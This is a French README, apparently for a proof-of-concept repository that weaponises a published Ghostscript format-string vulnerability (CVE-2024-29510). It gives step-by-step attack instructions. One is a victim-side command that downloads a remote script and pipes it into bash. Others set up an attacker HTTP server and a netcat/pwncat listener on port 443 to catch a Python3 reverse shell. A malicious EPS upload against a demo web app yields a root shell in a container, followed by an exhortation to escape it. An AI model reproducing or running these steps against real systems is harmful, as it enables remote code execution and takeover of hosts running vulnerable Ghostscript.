Recherche originale et code POC : https://codeanlabs.com/blog/research/cve-2024-29510-ghostscript-format-string-exploitation/
NOTE : Je n'ai apporté aucune modification au POC en dehors de la commande exécutée. Tout le crédit revient à Thomas Rinsma @ Codean Labs pour leur incroyable recherche et POC.
Scénario Local
- Enveloppé dans un script stager pour télécharger et exécuter un script de vérification afin de voir si l'hôte est vulnérable
- POC modifié pour télécharger et exécuter un reverse shell Python3
- Stager et reverse shell téléchargés et exécutés via STDIN
- Le POC laisse un artefact dans /tmp avec un nom aléatoire
Sur la machine de l'attaquant :
- Utilisez pwncat-cs ou netcat pour créer un écouteur sur le port 443
- Naviguez vers le répertoire de l'exploit
- python3 -m http.server 80
Sur la machine victime (Ubuntu 23.10 exécutant Ghostscript 10.01.2) :
- Ouvrez un terminal et exécutez : export RHOST=''; wget -q http://$RHOST/run -O - | bash &
Scénario Distant (VulnApp)
- Construisez VulnApp en utilisant : 'docker build -t cve-2024-29510-demo:latest .' (Nécessite une copie de https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs10021/ghostscript-10.02.1.tar.gz dans le répertoire Dockerfile)
- Exécutez VulnApp en utilisant : 'docker run --rm -p 5000:5000 cve-2024-29510-demo:latest'
- Essayez de convertir good.ps pour tester la fonctionnalité. Cela devrait retourner un PDF rendu avec des lignes dessinant une flèche, par ex. '>'
- Configurez un serveur web sur le port 80 hébergeant shell.html par ex. 'python3 -m http.server 80'
- Utilisez pwncat-cs ou netcat pour créer un écouteur sur le port 443
- Téléchargez bad.eps, VulnApp se bloquera et l'écouteur devrait attraper un reverse shell pour le conteneur (exécuté en tant que root)
- Échappez du conteneur !